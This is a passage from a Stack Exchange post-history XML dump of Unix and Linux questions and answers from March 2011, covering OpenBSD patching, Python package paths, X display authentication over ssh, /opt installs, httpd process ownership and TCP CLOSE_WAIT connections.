  <row Id="24228" PostHistoryTypeId="6" PostId="10110" RevisionGUID="d9372191-8f5a-4b2b-b434-fddadae38ff0" CreationDate="2011-03-25T19:57:32.487" UserId="885" Comment="edited tags" Text="éopensuseàéyastà" />
  <row Id="24229" PostHistoryTypeId="6" PostId="10084" RevisionGUID="3c7f1080-2c5a-4635-9907-021dc0b3616e" CreationDate="2011-03-25T20:01:58.803" UserId="885" Comment="edited tags" Text="ésshàéscriptingàésolarisà" />
  <row Id="24230" PostHistoryTypeId="2" PostId="10112" RevisionGUID="a3cbfc84-87b1-4427-97db-f4f485ad0268" CreationDate="2011-03-25T20:11:01.707" UserId="298" Text="The canonical reference for this is [The OpenBSD FAQ - 5.1][1]&#xD;&#xA;&#xD;&#xA;The install4.8.iso in the 4.8 directory is the 4.8 before patches.  So, if you want the patches, you need to install 4.8 then patch your system yourself. &#xD;&#xA;&#xD;&#xA;The install48.iso in the snapshots directory is more than just the patches to the OS listed on the errata page, it's also everything new that is being developed as the system moves towards 4.9.  Snapshots are just that &quot;snapshots&quot; of the code as it's moving towards the next release. &#xD;&#xA;&#xD;&#xA;So, to answer your question, no.  If you install using the install48.iso CD, you will not have a patched system, you will need to apply the patches yourself.  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://openbsd.org/faq/faq5.html#Flavors" />
  <row Id="24231" PostHistoryTypeId="5" PostId="10112" RevisionGUID="a1adbf27-b3b8-4c37-bc9d-e0b0a5a0f702" CreationDate="2011-03-25T20:17:56.397" UserId="298" Comment="Add link to 'following stable'; added 118 characters in body" Text="The canonical reference for this is [The OpenBSD FAQ - 5.1][1]&#xD;&#xA;&#xD;&#xA;The install4.8.iso in the 4.8 directory is the 4.8 before patches.  So, if you want the patches, you need to install 4.8 then patch your system yourself. &#xD;&#xA;&#xD;&#xA;The install48.iso in the snapshots directory is more than just the patches to the OS listed on the errata page, it's also everything new that is being developed as the system moves towards 4.9.  Snapshots are just that &quot;snapshots&quot; of the code as it's moving towards the next release. &#xD;&#xA;&#xD;&#xA;So, to answer your question, no.  If you install using the install48.iso CD, you will not have a patched system, you will need to apply the patches yourself. &#xD;&#xA;&#xD;&#xA;For information on applying these patches, see each individual patch.  &#xD;&#xA;&#xD;&#xA;You may also choose to follow the &quot;stable&quot; branch of OpenBSD, the reference is [OpenBSD - Following stable][2], which includes these patches already.&#xD;&#xA;&#xD;&#xA;In either case, you will have to have a checkout of the OpenBSD source.&#xD;&#xA;&#xD;&#xA;There is no one-liner, or automated way to apply these patches. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://openbsd.org/faq/faq5.html#Flavors&#xD;&#xA;  [2]: http://openbsd.org/stable.html" />
  <row Id="24232" PostHistoryTypeId="2" PostId="10113" RevisionGUID="477bba32-ca5f-485c-accd-2e0236cc0c7d" CreationDate="2011-03-25T20:18:31.230" UserId="663" Text="I'm on a SUSE machine where the default Python site-packages location is `/usr/lib64/python2.6/site-packages`. Some packages automatically install themselves in `/usr/lib/python2.6/site-packages` instead. How do I configure Python so that it also looks in `/usr/lib64/python2.6/site-packages`?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="24233" PostHistoryTypeId="1" PostId="10113" RevisionGUID="477bba32-ca5f-485c-accd-2e0236cc0c7d" CreationDate="2011-03-25T20:18:31.230" UserId="663" Text="Configure Python to include another directory when looking for packages" />
  <row Id="24234" PostHistoryTypeId="3" PostId="10113" RevisionGUID="477bba32-ca5f-485c-accd-2e0236cc0c7d" CreationDate="2011-03-25T20:18:31.230" UserId="663" Text="épythonà" />
  <row Id="24235" PostHistoryTypeId="2" PostId="10114" RevisionGUID="6dc1bfd7-35f3-42d5-bab3-aeff3e63a8bb" CreationDate="2011-03-25T20:30:06.537" UserId="6053" Text="If you're going to be doing a lot of command-line administration, you might find it useful to check out the man pages for usermod(8), chfn(1), chsh(1), passwd(1), crypt(3), gpasswd(8), groupadd(8)," />
  <row Id="24236" PostHistoryTypeId="25" PostId="10106" RevisionGUID="328c3c82-d23e-4d6d-b374-f9dd58bc2e40" CreationDate="2011-03-25T20:31:39.237" Comment="http://twitter.com/#!/StackUnix/status/51380746585255938" />
  <row Id="24237" PostHistoryTypeId="6" PostId="10113" RevisionGUID="460661ed-edbb-44f1-9ecd-c63ae1693513" CreationDate="2011-03-25T20:44:24.680" UserId="885" Comment="edited tags" Text="épythonàésuseà" />
  <row Id="24238" PostHistoryTypeId="2" PostId="10115" RevisionGUID="9bb7e71c-77b6-4b04-a192-15241d708bcd" CreationDate="2011-03-25T20:44:30.597" UserId="651" Text="Use [`sys.path`](http://docs.python.org/library/sys.html):&#xD;&#xA;&#xD;&#xA;    import sys&#xD;&#xA;    sys.path.append(&quot;/home/me/mypy&quot;)&#xD;&#xA;&#xD;&#xA;You can also check the [`site`](http://docs.python.org/library/site.html#module-site) module documentation, which explains how the site-specific paths are computed." />
  <row Id="24239" PostHistoryTypeId="2" PostId="10116" RevisionGUID="0947d58f-e28a-4965-9ada-0f8132fc3d14" CreationDate="2011-03-25T20:48:37.943" UserId="1323" Text="Since this has been sitting out there for a couple days, and in that time I've (mostly) figured out the problem, I'll post the answer that works for me.&#xD;&#xA;&#xD;&#xA;In brief:&#xD;&#xA;&#xD;&#xA;    chvirprnt -qQUEUENAME -dDEVICENAME -a&quot;si=USERNAME&quot;&#xD;&#xA;&#xD;&#xA;Where QUEUNAME, DEVICENAME and USERNAME are set to the queue, device and user to whom you'd like to have errors sent.&#xD;&#xA;&#xD;&#xA;In full:&#xD;&#xA;&#xD;&#xA;AIX print queues have virtual printers and print devices associated with each queue. The command chque, as given in the question, is used to manage attributes of the queue. Setting &quot;recovery_type&quot; to &quot;sendmail address@example.com&quot; will cause notification to be sent the the address specified when the queue is down, but it won't stop all printer errors from being dispatched to the user that submitted the print job.&#xD;&#xA;&#xD;&#xA;By default, virtual printer error messages will be sent to the job submitter via the writesrv daemon. Writesrv will issue the messages to the user's console if they are logged in. If they are not logged in at the time of the error, or if the writesrv daemon on the remote host (if applicable) is not listening, an email will be sent to the user at the host from which the job was sent. &#xD;&#xA;&#xD;&#xA;In order to completely answer the question, you have to set the si parameter in the virtual printer colon file via the chvirprnt command with the name of a user to receive errors, and also arrange for the local MTA to forward mail for that user to queue_errors@example.com. It is advisable to create a user for this purpose, or send errors to root and further refine mail delivery for the root user to route the error messages as desired." />
  <row Id="24240" PostHistoryTypeId="2" PostId="10117" RevisionGUID="2754268d-61cc-448e-b4d0-5ff543dd8e60" CreationDate="2011-03-25T21:09:36.040" UserId="298" Text="It really depends on what you are trying to accomplish, and what you mean by &quot;Distributed Computing Cluster.&quot;  I did a similar thing once in Uni using old machines and [PVM][1] that's the &quot;Cluster&quot; in the sense of a bunch of machines acting as one single computer to do parallel processing - think Beowulf clusters.  Of course, you will need code that is written to take advantage of this.  &#xD;&#xA;&#xD;&#xA;A good place to start, would be determining what you are looking to learn with this project.  I recommend reading the wikipedia article on [Parallel Computing][2] for starters, and then refining your needs based on what you want to do.  &#xD;&#xA;&#xD;&#xA;A simple job queuing system (like [gearman][3]) may be enough to get some cool results quickly.  &#xD;&#xA;&#xD;&#xA;The problem I had when I made a parallel computing cluster, was I didn't have anything to do on it, it just basically sat there, but it was a fun project and I learned quite a bit.  In any case, you are likely to learn quite a bit and have fun at the same time, regardless of what you choose to implement.  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.csm.ornl.gov/pvm/&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Parallel_computing&#xD;&#xA;  [3]: http://gearman.org/" />
  <row Id="24241" PostHistoryTypeId="2" PostId="10118" RevisionGUID="af346187-647b-4ab3-8aab-c5f15da99cbf" CreationDate="2011-03-25T21:09:57.487" UserId="6054" Text="I have Windows XP and Linux Suse 11 installed on my laptop for some time.&#xD;&#xA;&#xD;&#xA;I want to replace my Suse installation with Ubuntu and would like to know if it is possible to do that without affecting the Windows installation.&#xD;&#xA;&#xD;&#xA;I have the Grub boot-loader that came with Suse.&#xD;&#xA;&#xD;&#xA;What are the steps to follow (I didn't do the initial installation so I don't know if it is safe or not)?&#xD;&#xA;&#xD;&#xA;Thank you!" />
  <row Id="24242" PostHistoryTypeId="1" PostId="10118" RevisionGUID="af346187-647b-4ab3-8aab-c5f15da99cbf" CreationDate="2011-03-25T21:09:57.487" UserId="6054" Text="Install Ubuntu over Suse without affecting Windows" />
  <row Id="24243" PostHistoryTypeId="3" PostId="10118" RevisionGUID="af346187-647b-4ab3-8aab-c5f15da99cbf" CreationDate="2011-03-25T21:09:57.487" UserId="6054" Text="éubuntuàéinstallàégrubàéwindowsàésuseà" />
  <row Id="24244" PostHistoryTypeId="2" PostId="10119" RevisionGUID="bae2442c-a5c4-42c5-8eda-77fd00a05a87" CreationDate="2011-03-25T21:12:58.297" UserId="651" Text="You might want to check out [Conky](http://www.my-maemo.com/software/applications.php?name=Conky&amp;faq=42&amp;fldAuto=1066). It's a really nice and useful system metrics vizualisation app for Maemo.&#xD;&#xA;&#xD;&#xA;![Conky 1.8.1 screen](http://www.mynokian900.com/wp-content/uploads/2011/01/Conky-1.8.1.png)" />
  <row Id="24245" PostHistoryTypeId="2" PostId="10120" RevisionGUID="9270ff90-d9ed-4198-ab2c-c08cfdfa7940" CreationDate="2011-03-25T21:23:48.437" UserId="4520" Text="Close wait indicates that the client is closing the connection but the application hasn't closed it yet, or the client is not   You should identify which program(s) have this problem.  Try using `netstat -tonp 2&gt;&amp;1 | grep CLOSE` to determine which programs as holding the connections." />
  <row Id="24246" PostHistoryTypeId="2" PostId="10121" RevisionGUID="09adcb6e-6651-4947-9116-96eda591fb8a" CreationDate="2011-03-25T21:24:15.393" UserId="6027" Text="Once upon a time,&#xD;&#xA;&#xD;&#xA;    DISPLAY=:0.0 totem /path/to/movie.avi&#xD;&#xA;&#xD;&#xA;after ssh 'ing into my desktop from my laptop would cause totem to play movie.avi on my desktop&#xD;&#xA;&#xD;&#xA;now it gives error&#xD;&#xA;&#xD;&#xA;&gt;     No protocol specified&#xD;&#xA;&gt;     Cannot open display:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I reinstalled debian squeeze when it went stable on both computers, and I guess I broke the config. &#xD;&#xA;&#xD;&#xA;I've googled on this, and cannot for the life of me figure out what I'm supposed to be doing. &#xD;&#xA;&#xD;&#xA;vlc has a http interface that works, but it isnt as convenient as ssh&#xD;&#xA;&#xD;&#xA;and, yes, i want to figure this out because I hate having to walk over to my desktop to play an episode of Grey's. " />
  <row Id="24247" PostHistoryTypeId="1" PostId="10121" RevisionGUID="09adcb6e-6651-4947-9116-96eda591fb8a" CreationDate="2011-03-25T21:24:15.393" UserId="6027" Text="ssh DISPLAY variable" />
  <row Id="24248" PostHistoryTypeId="3" PostId="10121" RevisionGUID="09adcb6e-6651-4947-9116-96eda591fb8a" CreationDate="2011-03-25T21:24:15.393" UserId="6027" Text="ésshàéxorgà" />
  <row Id="24249" PostHistoryTypeId="2" PostId="10122" RevisionGUID="f563b254-8e89-46f4-b30e-fff22a3e64b1" CreationDate="2011-03-25T21:25:59.573" UserId="5325" Text="You don't want that `$` on the front of `DISPLAY=:0.0`.  That said, what's the error message?" />
  <row Id="24250" PostHistoryTypeId="2" PostId="10123" RevisionGUID="460bd53a-d45c-4d79-b34c-dea344e03859" CreationDate="2011-03-25T21:55:41.120" UserId="885" Text="It's easy and low-risk. Just do the installation normally, and when the time comes to partition the disk, choose a manual partitioning strategy and make sure you override the Suse partition(s) only.&#xD;&#xA;&#xD;&#xA;Ubuntu will want to override Suse's bootloader with its own. Let it: Grub needs some files in `/boot`, which you're going to overwrite. The Grub installer will automatically detect all installed operating system, so you'll still be able to boot both Linux and Windows. I don't know how Suse 11 configures Grub; the way to configure which OS gets booted by default might be different, so you should take a quick look at the [Ubuntu Grub community documentation](https://help.ubuntu.com/community/Grub2).&#xD;&#xA;" />
  <row Id="24253" PostHistoryTypeId="2" PostId="10125" RevisionGUID="f5f7a991-8eeb-4fcb-91fc-b86bfc0aaeec" CreationDate="2011-03-25T22:28:16.513" UserId="3519" Text="You need to `export DISPLAY=:0.0`" />
  <row Id="24254" PostHistoryTypeId="2" PostId="10126" RevisionGUID="26065926-8052-473b-a491-76bd5b7945a7" CreationDate="2011-03-25T22:39:47.353" UserId="885" Text="&lt;sub&gt;*(Adapted from [Linux: wmctrl cannot open display when session initiated via ssh+screen](http://superuser.com/questions/190801/linux-wmctrl-cannot-open-display-when-session-initiated-via-sshscreen#190878))*&lt;/sub&gt;&#xD;&#xA;&#xD;&#xA;An X program needs two pieces of information in order to connect to an X display.&#xD;&#xA;&#xD;&#xA;* It needs the address of the display, which is typically `:0` when you're logged in locally or `:10`, `:11`, etc. when you're logged in remotely (but the number can change depending on how many X connections are active). The address of the display is normally indicated in the `DISPLAY` environment variable.&#xD;&#xA;&#xD;&#xA;* If needs the password for the display. X display passwords are called *magic cookies*. Magic cookies are not specified directly: they are always stored in X authority files, which are a collection of records of the form “display `:42` has cookie `123456`”. The X authority file is normally indicated in the `XAUTHORITY` environment variable. If `$XAUTHORITY` is not set, programs use `~/.Xauthority`.&#xD;&#xA;&#xD;&#xA;You're trying to act on the windows that are displayed on your desktop. If you're the only person using your desktop machine, it's very likely that the display name is `:0`. Finding the location of the X authority file is harder, because with gdm as set up under Debian squeeze or Ubuntu 10.04, it's in a file with a randomly generated name.&#xD;&#xA;&#xD;&#xA;Here are a few ways to obtain the values of `DISPLAY` and `XAUTHORITY`:&#xD;&#xA;&#xD;&#xA;* You can systematically start a screen session from your desktop, perhaps automatically in your login scripts (from `~/.profile`; but do it only if logging in under X: test if `DISPLAY` is set to a value beginning with `:` (that should cover all the cases you're likely to encounter)). In `~/.profile`:&#xD;&#xA;&#xD;&#xA;        case $DISPLAY in&#xD;&#xA;          :*) screen -S local -d -m;;&#xD;&#xA;        esac&#xD;&#xA;&#xD;&#xA; Then, in the ssh session:&#xD;&#xA;&#xD;&#xA;        screen -d -r local&#xD;&#xA;&#xD;&#xA;* You could also save the values of `DISPLAY` and `XAUTHORITY` in a file and recall the values. In `~/.profile`:&#xD;&#xA;&#xD;&#xA;        case $DISPLAY in&#xD;&#xA;          :*) export | grep -E ' (DISPLAY|XAUTHORITY)=' &gt;~/.local-display-coordinates.sh;;&#xD;&#xA;        esac&#xD;&#xA;&#xD;&#xA; In the ssh session:&#xD;&#xA;&#xD;&#xA;        . ~/.local-display-coordinates.sh&#xD;&#xA;        screen&#xD;&#xA;&#xD;&#xA;* You could detect the values of `DISPLAY` and `XAUTHORITY` from a running process. This is harder to automate. You have to figure out the PID of a process that's connected to the display you want to work on, then get the environment variables from `/proc/$pid/environ` (`eval export $(&lt;/proc/$pid/environ tr \\0 \\n | grep -E '^(DISPLAY|XAUTHORITY)=')`¹).&#xD;&#xA;&#xD;&#xA;¹ &lt;sub&gt; In principle this lacks proper quoting, but in this specific instance `$DISPLAY` and `$XAUTHORITY` won't contain any shell metacharacter. &lt;/sub&gt;&#xD;&#xA;" />
  <row Id="24255" PostHistoryTypeId="25" PostId="10121" RevisionGUID="6889a568-fbe5-40c7-a205-9fc9e6316710" CreationDate="2011-03-25T23:31:39.910" Comment="http://twitter.com/#!/StackUnix/status/51426047601815552" />
  <row Id="24256" PostHistoryTypeId="5" PostId="10126" RevisionGUID="b8aac8ac-928d-40b4-95cd-9fdc51072b5a" CreationDate="2011-03-25T23:36:26.767" UserId="885" Comment="copy cookies to .Xauthority when logging in, inspired by Arrowmaster; deleted 75 characters in body" Text="&lt;sub&gt;*(Adapted from [Linux: wmctrl cannot open display when session initiated via ssh+screen](http://superuser.com/questions/190801/linux-wmctrl-cannot-open-display-when-session-initiated-via-sshscreen#190878))*&lt;/sub&gt;&#xD;&#xA;&#xD;&#xA;## DISPLAY and AUTHORITY&#xD;&#xA;&#xD;&#xA;An X program needs two pieces of information in order to connect to an X display.&#xD;&#xA;&#xD;&#xA;* It needs the address of the display, which is typically `:0` when you're logged in locally or `:10`, `:11`, etc. when you're logged in remotely (but the number can change depending on how many X connections are active). The address of the display is normally indicated in the `DISPLAY` environment variable.&#xD;&#xA;&#xD;&#xA;* It needs the password for the display. X display passwords are called *magic cookies*. Magic cookies are not specified directly: they are always stored in X authority files, which are a collection of records of the form “display `:42` has cookie `123456`”. The X authority file is normally indicated in the `XAUTHORITY` environment variable. If `$XAUTHORITY` is not set, programs use `~/.Xauthority`.&#xD;&#xA;&#xD;&#xA;You're trying to act on the windows that are displayed on your desktop. If you're the only person using your desktop machine, it's very likely that the display name is `:0`. Finding the location of the X authority file is harder, because with gdm as set up under Debian squeeze or Ubuntu 10.04, it's in a file with a randomly generated name. (You had no problem before because earlier versions of gdm used the default setting, i.e. cookies stored in `~/.Xauthority`.)&#xD;&#xA;&#xD;&#xA;## Getting the values of the variables&#xD;&#xA;&#xD;&#xA;Here are a few ways to obtain the values of `DISPLAY` and `XAUTHORITY`:&#xD;&#xA;&#xD;&#xA;* You can systematically start a screen session from your desktop, perhaps automatically in your login scripts (from `~/.profile`; but do it only if logging in under X: test if `DISPLAY` is set to a value beginning with `:` (that should cover all the cases you're likely to encounter)). In `~/.profile`:&#xD;&#xA;&#xD;&#xA;        case $DISPLAY in&#xD;&#xA;          :*) screen -S local -d -m;;&#xD;&#xA;        esac&#xD;&#xA;&#xD;&#xA; Then, in the ssh session:&#xD;&#xA;&#xD;&#xA;        screen -d -r local&#xD;&#xA;&#xD;&#xA;* You could also save the values of `DISPLAY` and `XAUTHORITY` in a file and recall the values. In `~/.profile`:&#xD;&#xA;&#xD;&#xA;        case $DISPLAY in&#xD;&#xA;          :*) export | grep -E ' (DISPLAY|XAUTHORITY)=' &gt;~/.local-display-coordinates.sh;;&#xD;&#xA;        esac&#xD;&#xA;&#xD;&#xA; In the ssh session:&#xD;&#xA;&#xD;&#xA;        . ~/.local-display-coordinates.sh&#xD;&#xA;        screen&#xD;&#xA;&#xD;&#xA;* You could detect the values of `DISPLAY` and `XAUTHORITY` from a running process. This is harder to automate. You have to figure out the PID of a process that's connected to the display you want to work on, then get the environment variables from `/proc/$pid/environ` (`eval export $(&lt;/proc/$pid/environ tr \\0 \\n | grep -E '^(DISPLAY|XAUTHORITY)=')`¹).&#xD;&#xA;&#xD;&#xA;## Copying the cookies&#xD;&#xA;&#xD;&#xA;Another approach (following a suggestion by [Arrowmaster](http://unix.stackexchange.com/users/3459/arrowmaster)) is to not try to obtain the value of `$XAUTHORITY` in the ssh session, but instead to make the X session copy its cookies into `~/.Xauthority`. Since the cookies are generated each time you log in, it's not a problem if you keep stale values in `~/.Xauthority`.&#xD;&#xA;&#xD;&#xA;There can be a security issue if your home directory is accessible over NFS or other network file system that allows remote administrators to view its contents. They'd still need to connect to your machine somehow, unless you've enabled X TCP connections (Debian has them off by default). So for most people, this either does not apply (no NFS) or is not a problem (no X TCP connections).&#xD;&#xA;&#xD;&#xA;To copy cookies when you log into your desktop X session, add the following lines to `~/.xprofile` or `~/.profile` (or some other script that is read when you log in):&#xD;&#xA;&#xD;&#xA;    case :$DISPLAY:$XAUTHORITY in&#xD;&#xA;      :*:?*) XAUTHORITY=~/.Xauthority xauth merge &quot;$XAUTHORITY&quot;;;&#xD;&#xA;    esac&#xD;&#xA;&#xD;&#xA;¹ &lt;sub&gt; In principle this lacks proper quoting, but in this specific instance `$DISPLAY` and `$XAUTHORITY` won't contain any shell metacharacter. &lt;/sub&gt;&#xD;&#xA;" />
  <row Id="24257" PostHistoryTypeId="2" PostId="10127" RevisionGUID="363ec346-a6ae-4628-9413-e453c4e03e23" CreationDate="2011-03-25T23:53:18.767" UserId="6055" Text="Hello&#xD;&#xA;&#xD;&#xA;A while back I installed couchdb from source on my debian machine. It seemed to install okay and everything worked.&#xD;&#xA;&#xD;&#xA;A few weeks later I wanted to upgrade and installed from a .deb using dpkg. Everything now seems to have been installed under /opt It all seems to work fine, but I don't really understand why it's all been installed under /opt. It doesn't feel as &quot;smooth&quot; as when things were installed directly into /usr/local/bin and /etc and /var/log. It's more cumbersome to configure than when I previously just edited the configuration files that were installed under /etc/couchdb&#xD;&#xA;&#xD;&#xA;Would someone mind explaining to me why installation to /opt is &quot;a good thing&quot; and why this is a better way of doing things than the previous installation which was from the source?&#xD;&#xA;&#xD;&#xA;I know this is a rather vague question but I'm only competent with Linux not an expert and don't understand the thinking behind installing to /opt&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="24258" PostHistoryTypeId="1" PostId="10127" RevisionGUID="363ec346-a6ae-4628-9413-e453c4e03e23" CreationDate="2011-03-25T23:53:18.767" UserId="6055" Text="Noob question - why did my package get installed to /opt" />
  <row Id="24259" PostHistoryTypeId="3" PostId="10127" RevisionGUID="363ec346-a6ae-4628-9413-e453c4e03e23" CreationDate="2011-03-25T23:53:18.767" UserId="6055" Text="élinuxà" />
  <row Id="24260" PostHistoryTypeId="5" PostId="10126" RevisionGUID="b11d055e-bcda-438a-8553-8a6624fb1a90" CreationDate="2011-03-25T23:56:08.520" UserId="885" Comment="fixed shell snippet to copy cookies on local X login" Text="&lt;sub&gt;*(Adapted from [Linux: wmctrl cannot open display when session initiated via ssh+screen](http://superuser.com/questions/190801/linux-wmctrl-cannot-open-display-when-session-initiated-via-sshscreen#190878))*&lt;/sub&gt;&#xD;&#xA;&#xD;&#xA;## DISPLAY and AUTHORITY&#xD;&#xA;&#xD;&#xA;An X program needs two pieces of information in order to connect to an X display.&#xD;&#xA;&#xD;&#xA;* It needs the address of the display, which is typically `:0` when you're logged in locally or `:10`, `:11`, etc. when you're logged in remotely (but the number can change depending on how many X connections are active). The address of the display is normally indicated in the `DISPLAY` environment variable.&#xD;&#xA;&#xD;&#xA;* It needs the password for the display. X display passwords are called *magic cookies*. Magic cookies are not specified directly: they are always stored in X authority files, which are a collection of records of the form “display `:42` has cookie `123456`”. The X authority file is normally indicated in the `XAUTHORITY` environment variable. If `$XAUTHORITY` is not set, programs use `~/.Xauthority`.&#xD;&#xA;&#xD;&#xA;You're trying to act on the windows that are displayed on your desktop. If you're the only person using your desktop machine, it's very likely that the display name is `:0`. Finding the location of the X authority file is harder, because with gdm as set up under Debian squeeze or Ubuntu 10.04, it's in a file with a randomly generated name. (You had no problem before because earlier versions of gdm used the default setting, i.e. cookies stored in `~/.Xauthority`.)&#xD;&#xA;&#xD;&#xA;## Getting the values of the variables&#xD;&#xA;&#xD;&#xA;Here are a few ways to obtain the values of `DISPLAY` and `XAUTHORITY`:&#xD;&#xA;&#xD;&#xA;* You can systematically start a screen session from your desktop, perhaps automatically in your login scripts (from `~/.profile`; but do it only if logging in under X: test if `DISPLAY` is set to a value beginning with `:` (that should cover all the cases you're likely to encounter)). In `~/.profile`:&#xD;&#xA;&#xD;&#xA;        case $DISPLAY in&#xD;&#xA;          :*) screen -S local -d -m;;&#xD;&#xA;        esac&#xD;&#xA;&#xD;&#xA; Then, in the ssh session:&#xD;&#xA;&#xD;&#xA;        screen -d -r local&#xD;&#xA;&#xD;&#xA;* You could also save the values of `DISPLAY` and `XAUTHORITY` in a file and recall the values. In `~/.profile`:&#xD;&#xA;&#xD;&#xA;        case $DISPLAY in&#xD;&#xA;          :*) export | grep -E ' (DISPLAY|XAUTHORITY)=' &gt;~/.local-display-coordinates.sh;;&#xD;&#xA;        esac&#xD;&#xA;&#xD;&#xA; In the ssh session:&#xD;&#xA;&#xD;&#xA;        . ~/.local-display-coordinates.sh&#xD;&#xA;        screen&#xD;&#xA;&#xD;&#xA;* You could detect the values of `DISPLAY` and `XAUTHORITY` from a running process. This is harder to automate. You have to figure out the PID of a process that's connected to the display you want to work on, then get the environment variables from `/proc/$pid/environ` (`eval export $(&lt;/proc/$pid/environ tr \\0 \\n | grep -E '^(DISPLAY|XAUTHORITY)=')`¹).&#xD;&#xA;&#xD;&#xA;## Copying the cookies&#xD;&#xA;&#xD;&#xA;Another approach (following a suggestion by [Arrowmaster](http://unix.stackexchange.com/users/3459/arrowmaster)) is to not try to obtain the value of `$XAUTHORITY` in the ssh session, but instead to make the X session copy its cookies into `~/.Xauthority`. Since the cookies are generated each time you log in, it's not a problem if you keep stale values in `~/.Xauthority`.&#xD;&#xA;&#xD;&#xA;There can be a security issue if your home directory is accessible over NFS or other network file system that allows remote administrators to view its contents. They'd still need to connect to your machine somehow, unless you've enabled X TCP connections (Debian has them off by default). So for most people, this either does not apply (no NFS) or is not a problem (no X TCP connections).&#xD;&#xA;&#xD;&#xA;To copy cookies when you log into your desktop X session, add the following lines to `~/.xprofile` or `~/.profile` (or some other script that is read when you log in):&#xD;&#xA;&#xD;&#xA;    case $DISPLAY:$XAUTHORITY in&#xD;&#xA;      :*:?*)&#xD;&#xA;        # DISPLAY is set and points to a local display, and XAUTHORITY is&#xD;&#xA;        # set, so merge the contents of `$XAUTHORITY` into ~/.Xauthority.&#xD;&#xA;        XAUTHORITY=~/.Xauthority xauth merge &quot;$XAUTHORITY&quot;;;&#xD;&#xA;    esac&#xD;&#xA;&#xD;&#xA;¹ &lt;sub&gt; In principle this lacks proper quoting, but in this specific instance `$DISPLAY` and `$XAUTHORITY` won't contain any shell metacharacter. &lt;/sub&gt;&#xD;&#xA;" />
  <row Id="24261" PostHistoryTypeId="5" PostId="10127" RevisionGUID="36bad309-886a-4e25-9ca9-d0b11e0f9484" CreationDate="2011-03-25T23:58:21.993" UserId="73" Comment="deleted 2 characters in body; edited title" Text="A while back I installed couchdb from source on my debian machine. It seemed to install okay and everything worked.&#xD;&#xA;&#xD;&#xA;A few weeks later I wanted to upgrade and installed from a .deb using dpkg. Everything now seems to have been installed under `/opt`. It all seems to work fine, but I don't really understand why it's all been installed under `/opt`. It doesn't feel as &quot;smooth&quot; as when things were installed directly into `/usr/local/bin` and `/etc` and `/var/log`. It's more cumbersome to configure than when I previously just edited the configuration files that were installed under /etc/couchdb&#xD;&#xA;&#xD;&#xA;Would someone mind explaining to me why installation to `/opt` is &quot;a good thing&quot; and why this is a better way of doing things than the previous installation which was from the source?&#xD;&#xA;&#xD;&#xA;I know this is a rather vague question but I'm only competent with Linux not an expert and don't understand the thinking behind installing to `/opt`&#xD;&#xA;" />
  <row Id="24262" PostHistoryTypeId="4" PostId="10127" RevisionGUID="36bad309-886a-4e25-9ca9-d0b11e0f9484" CreationDate="2011-03-25T23:58:21.993" UserId="73" Comment="deleted 2 characters in body; edited title" Text="Why did my package get installed to /opt?" />
  <row Id="24263" PostHistoryTypeId="2" PostId="10128" RevisionGUID="459ce409-c6c6-4d11-9e1a-16789628c9ea" CreationDate="2011-03-26T00:06:06.113" UserId="5785" Text="`/opt` is for third-party software. There is a couchdb package for debian (I mean, official), so if you downloaded another, it's Ok, it must be installed in `/opt` or `/usr/local/bin` either." />
  <row Id="24264" PostHistoryTypeId="2" PostId="10129" RevisionGUID="a3ad4379-861f-46a8-9079-c8de8bf54ccb" CreationDate="2011-03-26T00:16:48.080" UserId="1532" Text="ps shows my httpd processes as &#xD;&#xA;&#xD;&#xA;    apache   29561 15186  0 15:30 ?        00:00:00 /usr/sbin/httpd&#xD;&#xA;&#xD;&#xA;I'm running Centos 5.3&#xD;&#xA;&#xD;&#xA;All the log files in /var/log/httpd are owned by root.&#xD;&#xA;&#xD;&#xA;Howcome?" />
  <row Id="24265" PostHistoryTypeId="1" PostId="10129" RevisionGUID="a3ad4379-861f-46a8-9079-c8de8bf54ccb" CreationDate="2011-03-26T00:16:48.080" UserId="1532" Text="httpd running as apache.apache, but logs owned by root.root?" />
  <row Id="24266" PostHistoryTypeId="3" PostId="10129" RevisionGUID="a3ad4379-861f-46a8-9079-c8de8bf54ccb" CreationDate="2011-03-26T00:16:48.080" UserId="1532" Text="éapacheà" />
  <row Id="24267" PostHistoryTypeId="2" PostId="10130" RevisionGUID="7d737098-33e7-4842-880b-b986d194f77f" CreationDate="2011-03-26T00:40:15.580" UserId="3001" Text="The `httpd` children run as apache, but the process that spawns them runs as root (as is necessary to bind a privileged port eg. port 80).  Look closely and you'll see an `httpd` running as root." />
  <row Id="24268" PostHistoryTypeId="5" PostId="10106" RevisionGUID="3a1e70e8-4dae-44e2-98f4-bc4c9922a5fc" CreationDate="2011-03-26T02:05:16.110" UserId="2827" Comment="Added section for 'netstat -tnop', per request." Text="I've got a SLES machine that accumulates TCP connections in a CLOSE_WAIT state for what appears to be forever.  These descriptors eventually suck up all available memory.  At the moment, I've got 3037 of them, but it was much higher before a hurry-up reboot recently.&#xD;&#xA;&#xD;&#xA;What's interesting is that they're not from connections to local ports that I expect to have listening processes.  They have no associated PIDs, and their timers seem to have expired.&#xD;&#xA;&#xD;&#xA;    # netstat -ton | grep CLOSE_WAIT&#xD;&#xA;    tcp      176      0 10.0.0.60:54882     10.0.0.12:31663      CLOSE_WAIT  off (0.00/0/0)&#xD;&#xA;    tcp       54      0 10.0.0.60:60957     10.0.0.12:4503       CLOSE_WAIT  off (0.00/0/0)&#xD;&#xA;    tcp       89      0 10.0.0.60:50959     10.0.0.12:3518       CLOSE_WAIT  off (0.00/0/0)&#xD;&#xA;&#xD;&#xA;    # netstat -tonp | grep CLOSE_WAIT&#xD;&#xA;    tcp       89      0 10.0.0.59:45598     10.0.0.12:1998       CLOSE_WAIT  -                   &#xD;&#xA;    tcp       15      0 10.0.0.59:60861     10.0.0.12:1938       CLOSE_WAIT  -                   &#xD;&#xA;    tcp        5      0 10.0.0.59:56173     10.0.0.12:1700       CLOSE_WAIT  -     &#xD;&#xA;&#xD;&#xA;I'm not a black-belt when it comes to the TCP stack, or kernel networking, but the TCP config seems sane, since these values are default, per the man page:&#xD;&#xA;&#xD;&#xA;    # cat /proc/sys/net/ipv4/tcp_fin_timeout &#xD;&#xA;    60&#xD;&#xA;    # cat 